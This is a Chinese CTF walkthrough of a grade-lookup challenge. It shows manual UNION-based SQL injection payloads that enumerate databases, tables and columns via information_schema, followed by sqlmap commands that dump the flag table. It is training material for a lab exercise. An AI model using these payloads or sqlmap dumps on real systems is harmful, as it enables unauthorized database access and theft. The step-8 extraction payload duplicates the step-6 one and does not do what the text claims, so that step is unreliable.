开卷看题
/%E6%88%90%E7%BB%A9%E5%8D%95/1.png)
查成绩真是人生中最刺激最惊险的事
查看分数
/%E6%88%90%E7%BB%A9%E5%8D%95/2.png)
占位提示我们输入1、2、3,先信了他试一试
/%E6%88%90%E7%BB%A9%E5%8D%95/3.png)
输入1、2、3都有数据返回,其余数据无返回结果,像极了SQL注入
开始尝试
知己知彼:猜测SQL
根据源码猜测是根据ID匹配信息的,这就跟sqlilabs很像了啊,放心大胆地猜测SQL为:
SELECT math,english,chinese FROM table WHERE id=number;
第一步:判断闭合方式
payload:1’and’1 发现正确回显,判定单引号闭合几率高达90%
/%E6%88%90%E7%BB%A9%E5%8D%95/4.png)
第二步:判断返回的字段数
payload:0’ORDER+BY+4–+-
/%E6%88%90%E7%BB%A9%E5%8D%95/5.png)
经过尝试发现1、2、3、4均正确而5错误说明返回4个字段
其实还可以靠分析和经验,页面中返回的信息有姓名和三科成绩,故最少返回4个数据(作者不坑人的情况下),直接从4开始尝试即可
第三步:判断哪些字段回显在页面上
payload:0’UNION+SELECT+1,2,3,4–+-
/%E6%88%90%E7%BB%A9%E5%8D%95/6.png)
说明一下:既然知道了数据库返回4个字段并且和页面一一对应那为什么还要进行这步判断呢?岂不是多此一举?其实是想强调一下注入过程和思路,以后遇到返回字段数和页面显示不匹配的情况也不慌,同时还可以确定每个字段在页面的位置(很重要)
第四步:获取数据库信息
payload:0’UNION+SELECT+database(),user(),version(),4–+-
/%E6%88%90%E7%BB%A9%E5%8D%95/7.png)
确定DBMS是MySQL5.5.34,同时当前使用的数据库是skctf_flag
注意:这步是确定当前信息的正确性,部分语法相似的数据库容易误判
第五步:获取所有数据库
payload:0’UNION+SELECT+database(),group_concat(SCHEMA_NAME),version(),4+FROM+information_schema.schemata–+-
/%E6%88%90%E7%BB%A9%E5%8D%95/8.png)
显而易见,使用了每系统每用户,权限最小化,也确定了flag就在当前使用的数据库中(不在的几率低的忽略不计,但不排除,先看看)
第六步:获取skctf_flag数据库中所有的表
payload:0’UNION+SELECT+database(),group_concat(table_name),version(),4+FROM+information_schema.tables+WHERE+table_schema=’skctf_flag’–+-
/%E6%88%90%E7%BB%A9%E5%8D%95/9.png)
skctf_flag数据库中的表:fl4g、sc
fl4g表比较可疑,先看
第七步:获取fl4g表中所有的字段
payload:0’UNION+SELECT+database(),group_concat(column_name),version(),4+FROM+information_schema.columns+WHERE+table_schema=’skctf_flag’+AND+table_name=’fl4g’–+-
/%E6%88%90%E7%BB%A9%E5%8D%95/10.png)
fl4g表中的字段:skctf_flag
第八步:提取所有行数据
payload:0’UNION+SELECT+database(),group_concat(table_name),version(),4+FROM+information_schema.tables+WHERE+table_schema=’skctf_flag’–+-
/%E6%88%90%E7%BB%A9%E5%8D%95/11.png)
历经千辛万苦终于拿下flag,测试无误,另外一个表肯定就是成绩单了,不看了
自动化工具
前面讲的都是手工测试,接下来带你们玩自动化工具sqlmap
注意:本人的sqlmap配置了fastkey可以全局使用,你们就不一定了
准备工作
由于是POST请求,需要准备一个数据包
/%E6%88%90%E7%BB%A9%E5%8D%95/12.png)
本人保存为target.txt,名称随意
第一步:探测所有数据库
命令:sqlmap -r target.txt –dbs –batch
/%E6%88%90%E7%BB%A9%E5%8D%95/13.png)
第二步:探测skctf_flag库中所有的表
命令:sqlmap -r target.txt -D skctf_flag –tables –batch
/%E6%88%90%E7%BB%A9%E5%8D%95/14.png)
第三步:探测fl4g表中所有的字段
命令:sqlmap -r target.txt -D skctf_flag -T fl4g –columns –batch
/%E6%88%90%E7%BB%A9%E5%8D%95/15.png)
第四步:提取行数据
命令:sqlmap -r target.txt -D skctf_flag -T fl4g -C skctf_flag –dump –batch
/%E6%88%90%E7%BB%A9%E5%8D%95/16.png)
拿下,简单不?但是工具是辅助注入的,不可盲目依赖
后记
工具是提升效率的,前提是你已经掌握了技术
再好的工具你不会远离也无法发挥其威力
课后问答FAQ
Q:为什么有时候id用1,有时候却用0呢?
A:看当前操作是否需要正确的查询数据,比如构造联合查询就必须给一个不存在的ID否则自定义的数据将永不见天日
Q:为什么查询的字段要用group_concat函数
A:因为单词查询只会返回一条结果,为了将多个结果在同一次查询中返回
Q:为什么不先写SQLMAP
A:有简易方式你还会去尝试困难的吗?
Q:其他问题
A:懒得打字了,发邮箱或者加企鹅私聊吧